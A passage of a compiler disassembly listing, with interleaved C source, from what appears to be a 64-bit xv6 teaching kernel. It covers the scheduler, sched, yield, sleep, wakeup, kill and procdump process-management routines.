ffff800000106fb8: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106fbf: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff800000106fc3: 64 48 89 10 mov %rdx,%fs:(%rax)
switchuvm(p);
ffff800000106fc7: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000106fcb: 48 89 c7 mov %rax,%rdi
ffff800000106fce: 48 b8 a8 b3 10 00 00 movabs $0xffff80000010b3a8,%rax
ffff800000106fd5: 80 ff ff
ffff800000106fd8: ff d0 callq *%rax
p->state = RUNNING;
ffff800000106fda: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000106fde: c7 40 18 04 00 00 00 movl $0x4,0x18(%rax)
swtch(&cpu->scheduler, p->context);
ffff800000106fe5: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000106fe9: 48 8b 40 30 mov 0x30(%rax),%rax
ffff800000106fed: 48 c7 c2 f0 ff ff ff mov $0xfffffffffffffff0,%rdx
ffff800000106ff4: 64 48 8b 12 mov %fs:(%rdx),%rdx
ffff800000106ff8: 48 83 c2 08 add $0x8,%rdx
ffff800000106ffc: 48 89 c6 mov %rax,%rsi
ffff800000106fff: 48 89 d7 mov %rdx,%rdi
ffff800000107002: 48 b8 6f 7f 10 00 00 movabs $0xffff800000107f6f,%rax
ffff800000107009: 80 ff ff
ffff80000010700c: ff d0 callq *%rax
switchkvm();
ffff80000010700e: 48 b8 b9 b6 10 00 00 movabs $0xffff80000010b6b9,%rax
ffff800000107015: 80 ff ff
ffff800000107018: ff d0 callq *%rax
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
ffff80000010701a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000107021: 64 48 c7 00 00 00 00 movq $0x0,%fs:(%rax)
ffff800000107028: 00
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
ffff800000107029: 48 81 45 f0 e0 00 00 addq $0xe0,-0x10(%rbp)
ffff800000107030: 00
ffff800000107031: 48 b8 a8 ac 1f 00 00 movabs $0xffff8000001faca8,%rax
ffff800000107038: 80 ff ff
ffff80000010703b: 48 39 45 f0 cmp %rax,-0x10(%rbp)
ffff80000010703f: 0f 82 5a ff ff ff jb ffff800000106f9f <scheduler+0x53>
}
release(&ptable.lock);
ffff800000107045: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff80000010704c: 80 ff ff
ffff80000010704f: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000107056: 80 ff ff
ffff800000107059: ff d0 callq *%rax
if (skipped > (2*NPROC)) {
ffff80000010705b: 81 7d ec 80 00 00 00 cmpl $0x80,-0x14(%rbp)
ffff800000107062: 0f 8e fe fe ff ff jle ffff800000106f66 <scheduler+0x1a>
hlt();
ffff800000107068: 48 b8 31 65 10 00 00 movabs $0xffff800000106531,%rax
ffff80000010706f: 80 ff ff
ffff800000107072: ff d0 callq *%rax
skipped = 0;
ffff800000107074: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%rbp)
++i;
ffff80000010707b: e9 e6 fe ff ff jmpq ffff800000106f66 <scheduler+0x1a>
ffff800000107080 <sched>:
// be proc->intena and proc->ncli, but that would
// break in the few places where a lock is held but
// there's no process.
void
sched(void)
{
ffff800000107080: f3 0f 1e fa endbr64
ffff800000107084: 55 push %rbp
ffff800000107085: 48 89 e5 mov %rsp,%rbp
ffff800000107088: 48 83 ec 10 sub $0x10,%rsp
int intena;
if(!holding(&ptable.lock))
ffff80000010708c: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff800000107093: 80 ff ff
ffff800000107096: 48 b8 45 7a 10 00 00 movabs $0xffff800000107a45,%rax
ffff80000010709d: 80 ff ff
ffff8000001070a0: ff d0 callq *%rax
ffff8000001070a2: 85 c0 test %eax,%eax
ffff8000001070a4: 75 16 jne ffff8000001070bc <sched+0x3c>
panic("sched ptable.lock");
ffff8000001070a6: 48 bf 0f c8 10 00 00 movabs $0xffff80000010c80f,%rdi
ffff8000001070ad: 80 ff ff
ffff8000001070b0: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff8000001070b7: 80 ff ff
ffff8000001070ba: ff d0 callq *%rax
if(cpu->ncli != 1)
ffff8000001070bc: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff8000001070c3: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001070c7: 8b 40 14 mov 0x14(%rax),%eax
ffff8000001070ca: 83 f8 01 cmp $0x1,%eax
ffff8000001070cd: 74 16 je ffff8000001070e5 <sched+0x65>
panic("sched locks");
ffff8000001070cf: 48 bf 21 c8 10 00 00 movabs $0xffff80000010c821,%rdi
ffff8000001070d6: 80 ff ff
ffff8000001070d9: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff8000001070e0: 80 ff ff
ffff8000001070e3: ff d0 callq *%rax
if(proc->state == RUNNING)
ffff8000001070e5: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001070ec: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001070f0: 8b 40 18 mov 0x18(%rax),%eax
ffff8000001070f3: 83 f8 04 cmp $0x4,%eax
ffff8000001070f6: 75 16 jne ffff80000010710e <sched+0x8e>
panic("sched running");
ffff8000001070f8: 48 bf 2d c8 10 00 00 movabs $0xffff80000010c82d,%rdi
ffff8000001070ff: 80 ff ff
ffff800000107102: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000107109: 80 ff ff
ffff80000010710c: ff d0 callq *%rax
if(readeflags()&FL_IF)
ffff80000010710e: 48 b8 0d 65 10 00 00 movabs $0xffff80000010650d,%rax
ffff800000107115: 80 ff ff
ffff800000107118: ff d0 callq *%rax
ffff80000010711a: 25 00 02 00 00 and $0x200,%eax
ffff80000010711f: 48 85 c0 test %rax,%rax
ffff800000107122: 74 16 je ffff80000010713a <sched+0xba>
panic("sched interruptible");
ffff800000107124: 48 bf 3b c8 10 00 00 movabs $0xffff80000010c83b,%rdi
ffff80000010712b: 80 ff ff
ffff80000010712e: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000107135: 80 ff ff
ffff800000107138: ff d0 callq *%rax
intena = cpu->intena;
ffff80000010713a: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff800000107141: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107145: 8b 40 18 mov 0x18(%rax),%eax
ffff800000107148: 89 45 fc mov %eax,-0x4(%rbp)
swtch(&proc->context, cpu->scheduler);
ffff80000010714b: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff800000107152: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107156: 48 8b 40 08 mov 0x8(%rax),%rax
ffff80000010715a: 48 c7 c2 f8 ff ff ff mov $0xfffffffffffffff8,%rdx
ffff800000107161: 64 48 8b 12 mov %fs:(%rdx),%rdx
ffff800000107165: 48 83 c2 30 add $0x30,%rdx
ffff800000107169: 48 89 c6 mov %rax,%rsi
ffff80000010716c: 48 89 d7 mov %rdx,%rdi
ffff80000010716f: 48 b8 6f 7f 10 00 00 movabs $0xffff800000107f6f,%rax
ffff800000107176: 80 ff ff
ffff800000107179: ff d0 callq *%rax
cpu->intena = intena;
ffff80000010717b: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff800000107182: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107186: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000107189: 89 50 18 mov %edx,0x18(%rax)
}
ffff80000010718c: 90 nop
ffff80000010718d: c9 leaveq
ffff80000010718e: c3 retq
ffff80000010718f <yield>:
// Give up the CPU for one scheduling round.
void
yield(void)
{
ffff80000010718f: f3 0f 1e fa endbr64
ffff800000107193: 55 push %rbp
ffff800000107194: 48 89 e5 mov %rsp,%rbp
acquire(&ptable.lock); //DOC: yieldlock
ffff800000107197: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff80000010719e: 80 ff ff
ffff8000001071a1: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001071a8: 80 ff ff
ffff8000001071ab: ff d0 callq *%rax
proc->state = RUNNABLE;
ffff8000001071ad: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001071b4: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001071b8: c7 40 18 03 00 00 00 movl $0x3,0x18(%rax)
sched();
ffff8000001071bf: 48 b8 80 70 10 00 00 movabs $0xffff800000107080,%rax
ffff8000001071c6: 80 ff ff
ffff8000001071c9: ff d0 callq *%rax
release(&ptable.lock);
ffff8000001071cb: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff8000001071d2: 80 ff ff
ffff8000001071d5: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001071dc: 80 ff ff
ffff8000001071df: ff d0 callq *%rax
}
ffff8000001071e1: 90 nop
ffff8000001071e2: 5d pop %rbp
ffff8000001071e3: c3 retq
ffff8000001071e4 <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
ffff8000001071e4: f3 0f 1e fa endbr64
ffff8000001071e8: 55 push %rbp
ffff8000001071e9: 48 89 e5 mov %rsp,%rbp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
ffff8000001071ec: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff8000001071f3: 80 ff ff
ffff8000001071f6: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001071fd: 80 ff ff
ffff800000107200: ff d0 callq *%rax
if (first) {
ffff800000107202: 48 b8 44 d5 10 00 00 movabs $0xffff80000010d544,%rax
ffff800000107209: 80 ff ff
ffff80000010720c: 8b 00 mov (%rax),%eax
ffff80000010720e: 85 c0 test %eax,%eax
ffff800000107210: 74 32 je ffff800000107244 <forkret+0x60>
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
ffff800000107212: 48 b8 44 d5 10 00 00 movabs $0xffff80000010d544,%rax
ffff800000107219: 80 ff ff
ffff80000010721c: c7 00 00 00 00 00 movl $0x0,(%rax)
iinit(ROOTDEV);
ffff800000107222: bf 01 00 00 00 mov $0x1,%edi
ffff800000107227: 48 b8 6e 24 10 00 00 movabs $0xffff80000010246e,%rax
ffff80000010722e: 80 ff ff
ffff800000107231: ff d0 callq *%rax
initlog(ROOTDEV);
ffff800000107233: bf 01 00 00 00 mov $0x1,%edi
ffff800000107238: 48 b8 50 4f 10 00 00 movabs $0xffff800000104f50,%rax
ffff80000010723f: 80 ff ff
ffff800000107242: ff d0 callq *%rax
}
// Return to "caller", actually trapret (see allocproc).
}
ffff800000107244: 90 nop
ffff800000107245: 5d pop %rbp
ffff800000107246: c3 retq
ffff800000107247 <sleep>:
//PAGEBREAK!
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
ffff800000107247: f3 0f 1e fa endbr64
ffff80000010724b: 55 push %rbp
ffff80000010724c: 48 89 e5 mov %rsp,%rbp
ffff80000010724f: 48 83 ec 10 sub $0x10,%rsp
ffff800000107253: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000107257: 48 89 75 f0 mov %rsi,-0x10(%rbp)
if(proc == 0)
ffff80000010725b: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000107262: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107266: 48 85 c0 test %rax,%rax
ffff800000107269: 75 16 jne ffff800000107281 <sleep+0x3a>
panic("sleep");
ffff80000010726b: 48 bf 4f c8 10 00 00 movabs $0xffff80000010c84f,%rdi
ffff800000107272: 80 ff ff
ffff800000107275: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010727c: 80 ff ff
ffff80000010727f: ff d0 callq *%rax
if(lk == 0)
ffff800000107281: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff800000107286: 75 16 jne ffff80000010729e <sleep+0x57>
panic("sleep without lk");
ffff800000107288: 48 bf 55 c8 10 00 00 movabs $0xffff80000010c855,%rdi
ffff80000010728f: 80 ff ff
ffff800000107292: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000107299: 80 ff ff
ffff80000010729c: ff d0 callq *%rax
// change p->state and then call sched.
// Once we hold ptable.lock, we can be
// guaranteed that we won't miss any wakeup
// (wakeup runs with ptable.lock locked),
// so it's okay to release lk.
if(lk != &ptable.lock){ //DOC: sleeplock0
ffff80000010729e: 48 b8 40 74 1f 00 00 movabs $0xffff8000001f7440,%rax
ffff8000001072a5: 80 ff ff
ffff8000001072a8: 48 39 45 f0 cmp %rax,-0x10(%rbp)
ffff8000001072ac: 74 29 je ffff8000001072d7 <sleep+0x90>
acquire(&ptable.lock); //DOC: sleeplock1
ffff8000001072ae: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff8000001072b5: 80 ff ff
ffff8000001072b8: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001072bf: 80 ff ff
ffff8000001072c2: ff d0 callq *%rax
release(lk);
ffff8000001072c4: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001072c8: 48 89 c7 mov %rax,%rdi
ffff8000001072cb: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001072d2: 80 ff ff
ffff8000001072d5: ff d0 callq *%rax
}
// Go to sleep.
proc->chan = chan;
ffff8000001072d7: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001072de: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001072e2: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff8000001072e6: 48 89 50 38 mov %rdx,0x38(%rax)
proc->state = SLEEPING;
ffff8000001072ea: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001072f1: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001072f5: c7 40 18 02 00 00 00 movl $0x2,0x18(%rax)
sched();
ffff8000001072fc: 48 b8 80 70 10 00 00 movabs $0xffff800000107080,%rax
ffff800000107303: 80 ff ff
ffff800000107306: ff d0 callq *%rax
// Tidy up.
proc->chan = 0;
ffff800000107308: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff80000010730f: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107313: 48 c7 40 38 00 00 00 movq $0x0,0x38(%rax)
ffff80000010731a: 00
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
ffff80000010731b: 48 b8 40 74 1f 00 00 movabs $0xffff8000001f7440,%rax
ffff800000107322: 80 ff ff
ffff800000107325: 48 39 45 f0 cmp %rax,-0x10(%rbp)
ffff800000107329: 74 29 je ffff800000107354 <sleep+0x10d>
release(&ptable.lock);
ffff80000010732b: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff800000107332: 80 ff ff
ffff800000107335: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff80000010733c: 80 ff ff
ffff80000010733f: ff d0 callq *%rax
acquire(lk);
ffff800000107341: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000107345: 48 89 c7 mov %rax,%rdi
ffff800000107348: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff80000010734f: 80 ff ff
ffff800000107352: ff d0 callq *%rax
}
}
ffff800000107354: 90 nop
ffff800000107355: c9 leaveq
ffff800000107356: c3 retq
ffff800000107357 <wakeup1>:
//PAGEBREAK!
// Wake up all processes sleeping on chan.
// The ptable lock must be held.
static void
wakeup1(void *chan)
{
ffff800000107357: f3 0f 1e fa endbr64
ffff80000010735b: 55 push %rbp
ffff80000010735c: 48 89 e5 mov %rsp,%rbp
ffff80000010735f: 48 83 ec 18 sub $0x18,%rsp
ffff800000107363: 48 89 7d e8 mov %rdi,-0x18(%rbp)
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
ffff800000107367: 48 b8 a8 74 1f 00 00 movabs $0xffff8000001f74a8,%rax
ffff80000010736e: 80 ff ff
ffff800000107371: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000107375: eb 2d jmp ffff8000001073a4 <wakeup1+0x4d>
if(p->state == SLEEPING && p->chan == chan)
ffff800000107377: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010737b: 8b 40 18 mov 0x18(%rax),%eax
ffff80000010737e: 83 f8 02 cmp $0x2,%eax
ffff800000107381: 75 19 jne ffff80000010739c <wakeup1+0x45>
ffff800000107383: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107387: 48 8b 40 38 mov 0x38(%rax),%rax
ffff80000010738b: 48 39 45 e8 cmp %rax,-0x18(%rbp)
ffff80000010738f: 75 0b jne ffff80000010739c <wakeup1+0x45>
p->state = RUNNABLE;
ffff800000107391: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107395: c7 40 18 03 00 00 00 movl $0x3,0x18(%rax)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
ffff80000010739c: 48 81 45 f8 e0 00 00 addq $0xe0,-0x8(%rbp)
ffff8000001073a3: 00
ffff8000001073a4: 48 b8 a8 ac 1f 00 00 movabs $0xffff8000001faca8,%rax
ffff8000001073ab: 80 ff ff
ffff8000001073ae: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff8000001073b2: 72 c3 jb ffff800000107377 <wakeup1+0x20>
}
ffff8000001073b4: 90 nop
ffff8000001073b5: 90 nop
ffff8000001073b6: c9 leaveq
ffff8000001073b7: c3 retq
ffff8000001073b8 <wakeup>:
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
ffff8000001073b8: f3 0f 1e fa endbr64
ffff8000001073bc: 55 push %rbp
ffff8000001073bd: 48 89 e5 mov %rsp,%rbp
ffff8000001073c0: 48 83 ec 10 sub $0x10,%rsp
ffff8000001073c4: 48 89 7d f8 mov %rdi,-0x8(%rbp)
acquire(&ptable.lock);
ffff8000001073c8: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff8000001073cf: 80 ff ff
ffff8000001073d2: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001073d9: 80 ff ff
ffff8000001073dc: ff d0 callq *%rax
wakeup1(chan);
ffff8000001073de: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001073e2: 48 89 c7 mov %rax,%rdi
ffff8000001073e5: 48 b8 57 73 10 00 00 movabs $0xffff800000107357,%rax
ffff8000001073ec: 80 ff ff
ffff8000001073ef: ff d0 callq *%rax
release(&ptable.lock);
ffff8000001073f1: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff8000001073f8: 80 ff ff
ffff8000001073fb: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000107402: 80 ff ff
ffff800000107405: ff d0 callq *%rax
}
ffff800000107407: 90 nop
ffff800000107408: c9 leaveq
ffff800000107409: c3 retq
ffff80000010740a <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
ffff80000010740a: f3 0f 1e fa endbr64
ffff80000010740e: 55 push %rbp
ffff80000010740f: 48 89 e5 mov %rsp,%rbp
ffff800000107412: 48 83 ec 20 sub $0x20,%rsp
ffff800000107416: 89 7d ec mov %edi,-0x14(%rbp)
struct proc *p;
acquire(&ptable.lock);
ffff800000107419: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff800000107420: 80 ff ff
ffff800000107423: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff80000010742a: 80 ff ff
ffff80000010742d: ff d0 callq *%rax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
ffff80000010742f: 48 b8 a8 74 1f 00 00 movabs $0xffff8000001f74a8,%rax
ffff800000107436: 80 ff ff
ffff800000107439: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff80000010743d: eb 53 jmp ffff800000107492 <kill+0x88>
if(p->pid == pid){
ffff80000010743f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107443: 8b 40 1c mov 0x1c(%rax),%eax
ffff800000107446: 39 45 ec cmp %eax,-0x14(%rbp)
ffff800000107449: 75 3f jne ffff80000010748a <kill+0x80>
p->killed = 1;
ffff80000010744b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010744f: c7 40 40 01 00 00 00 movl $0x1,0x40(%rax)
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
ffff800000107456: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010745a: 8b 40 18 mov 0x18(%rax),%eax
ffff80000010745d: 83 f8 02 cmp $0x2,%eax
ffff800000107460: 75 0b jne ffff80000010746d <kill+0x63>
p->state = RUNNABLE;
ffff800000107462: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107466: c7 40 18 03 00 00 00 movl $0x3,0x18(%rax)
release(&ptable.lock);
ffff80000010746d: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff800000107474: 80 ff ff
ffff800000107477: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff80000010747e: 80 ff ff
ffff800000107481: ff d0 callq *%rax
return 0;
ffff800000107483: b8 00 00 00 00 mov $0x0,%eax
ffff800000107488: eb 33 jmp ffff8000001074bd <kill+0xb3>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
ffff80000010748a: 48 81 45 f8 e0 00 00 addq $0xe0,-0x8(%rbp)
ffff800000107491: 00
ffff800000107492: 48 b8 a8 ac 1f 00 00 movabs $0xffff8000001faca8,%rax
ffff800000107499: 80 ff ff
ffff80000010749c: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff8000001074a0: 72 9d jb ffff80000010743f <kill+0x35>
}
}
release(&ptable.lock);
ffff8000001074a2: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff8000001074a9: 80 ff ff
ffff8000001074ac: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001074b3: 80 ff ff
ffff8000001074b6: ff d0 callq *%rax
return -1;
ffff8000001074b8: b8 ff ff ff ff mov $0xffffffff,%eax
}
ffff8000001074bd: c9 leaveq
ffff8000001074be: c3 retq
ffff8000001074bf <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
ffff8000001074bf: f3 0f 1e fa endbr64
ffff8000001074c3: 55 push %rbp
ffff8000001074c4: 48 89 e5 mov %rsp,%rbp
ffff8000001074c7: 48 83 ec 70 sub $0x70,%rsp
int i;
struct proc *p;
char *state;
addr_t pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
ffff8000001074cb: 48 b8 a8 74 1f 00 00 movabs $0xffff8000001f74a8,%rax
ffff8000001074d2: 80 ff ff
ffff8000001074d5: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff8000001074d9: e9 3b 01 00 00 jmpq ffff800000107619 <procdump+0x15a>
if(p->state == UNUSED)
ffff8000001074de: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001074e2: 8b 40 18 mov 0x18(%rax),%eax
ffff8000001074e5: 85 c0 test %eax,%eax
ffff8000001074e7: 0f 84 23 01 00 00 je ffff800000107610 <procdump+0x151>
continue;
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
ffff8000001074ed: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001074f1: 8b 40 18 mov 0x18(%rax),%eax
ffff8000001074f4: 83 f8 05 cmp $0x5,%eax
ffff8000001074f7: 77 39 ja ffff800000107532 <procdump+0x73>
ffff8000001074f9: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001074fd: 8b 50 18 mov 0x18(%rax),%edx
ffff800000107500: 48 b8 60 d5 10 00 00 movabs $0xffff80000010d560,%rax
ffff800000107507: 80 ff ff
ffff80000010750a: 89 d2 mov %edx,%edx
ffff80000010750c: 48 8b 04 d0 mov (%rax,%rdx,8),%rax
ffff800000107510: 48 85 c0 test %rax,%rax
ffff800000107513: 74 1d je ffff800000107532 <procdump+0x73>
state = states[p->state];
ffff800000107515: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000107519: 8b 50 18 mov 0x18(%rax),%edx
ffff80000010751c: 48 b8 60 d5 10 00 00 movabs $0xffff80000010d560,%rax
ffff800000107523: 80 ff ff
ffff800000107526: 89 d2 mov %edx,%edx
ffff800000107528: 48 8b 04 d0 mov (%rax,%rdx,8),%rax
ffff80000010752c: 48 89 45 e8 mov %rax,-0x18(%rbp)
ffff800000107530: eb 0e jmp ffff800000107540 <procdump+0x81>
else
state = "???";
ffff800000107532: 48 b8 66 c8 10 00 00 movabs $0xffff80000010c866,%rax
ffff800000107539: 80 ff ff
ffff80000010753c: 48 89 45 e8 mov %rax,-0x18(%rbp)
cprintf("%d %s %s", p->pid, state, p->name);
ffff800000107540: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000107544: 48 8d 88 d0 00 00 00 lea 0xd0(%rax),%rcx
ffff80000010754b: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010754f: 8b 40 1c mov 0x1c(%rax),%eax
ffff800000107552: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff800000107556: 89 c6 mov %eax,%esi
ffff800000107558: 48 bf 6a c8 10 00 00 movabs $0xffff80000010c86a,%rdi
ffff80000010755f: 80 ff ff
ffff800000107562: b8 00 00 00 00 mov $0x0,%eax
ffff800000107567: 49 b8 18 08 10 00 00 movabs $0xffff800000100818,%r8
ffff80000010756e: 80 ff ff
ffff800000107571: 41 ff d0 callq *%r8
if(p->state == SLEEPING){
ffff800000107574: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000107578: 8b 40 18 mov 0x18(%rax),%eax
ffff80000010757b: 83 f8 02 cmp $0x2,%eax
ffff80000010757e: 75 73 jne ffff8000001075f3 <procdump+0x134>
getstackpcs((addr_t*)p->context->rbp+2, pc);
ffff800000107580: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000107584: 48 8b 40 30 mov 0x30(%rax),%rax
ffff800000107588: 48 8b 40 28 mov 0x28(%rax),%rax
ffff80000010758c: 48 83 c0 10 add $0x10,%rax
ffff800000107590: 48 89 c2 mov %rax,%rdx
ffff800000107593: 48 8d 45 90 lea -0x70(%rbp),%rax
ffff800000107597: 48 89 c6 mov %rax,%rsi
ffff80000010759a: 48 89 d7 mov %rdx,%rdi
ffff80000010759d: 48 b8 a7 79 10 00 00 movabs $0xffff8000001079a7,%rax
ffff8000001075a4: 80 ff ff
ffff8000001075a7: ff d0 callq *%rax
for(i=0; i<10 && pc[i] != 0; i++)
ffff8000001075a9: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff8000001075b0: eb 2c jmp ffff8000001075de <procdump+0x11f>
cprintf(" %p", pc[i]);
ffff8000001075b2: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001075b5: 48 98 cltq
ffff8000001075b7: 48 8b 44 c5 90 mov -0x70(%rbp,%rax,8),%rax
ffff8000001075bc: 48 89 c6 mov %rax,%rsi
ffff8000001075bf: 48 bf 73 c8 10 00 00 movabs $0xffff80000010c873,%rdi
ffff8000001075c6: 80 ff ff
ffff8000001075c9: b8 00 00 00 00 mov $0x0,%eax
ffff8000001075ce: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff8000001075d5: 80 ff ff
ffff8000001075d8: ff d2 callq *%rdx
for(i=0; i<10 && pc[i] != 0; i++)
ffff8000001075da: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff8000001075de: 83 7d fc 09 cmpl $0x9,-0x4(%rbp)
ffff8000001075e2: 7f 0f jg ffff8000001075f3 <procdump+0x134>
ffff8000001075e4: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001075e7: 48 98 cltq
ffff8000001075e9: 48 8b 44 c5 90 mov -0x70(%rbp,%rax,8),%rax
ffff8000001075ee: 48 85 c0 test %rax,%rax
ffff8000001075f1: 75 bf jne ffff8000001075b2 <procdump+0xf3>
}
cprintf("\n");
ffff8000001075f3: 48 bf 77 c8 10 00 00 movabs $0xffff80000010c877,%rdi
ffff8000001075fa: 80 ff ff
ffff8000001075fd: b8 00 00 00 00 mov $0x0,%eax
ffff800000107602: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff800000107609: 80 ff ff
ffff80000010760c: ff d2 callq *%rdx
ffff80000010760e: eb 01 jmp ffff800000107611 <procdump+0x152>
continue;
ffff800000107610: 90 nop
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
ffff800000107611: 48 81 45 f0 e0 00 00 addq $0xe0,-0x10(%rbp)
ffff800000107618: 00
ffff800000107619: 48 b8 a8 ac 1f 00 00 movabs $0xffff8000001faca8,%rax
ffff800000107620: 80 ff ff
ffff800000107623: 48 39 45 f0 cmp %rax,-0x10(%rbp)
ffff800000107627: 0f 82 b1 fe ff ff jb ffff8000001074de <procdump+0x1f>
}
}
ffff80000010762d: 90 nop
ffff80000010762e: 90 nop
ffff80000010762f: c9 leaveq
ffff800000107630: c3 retq
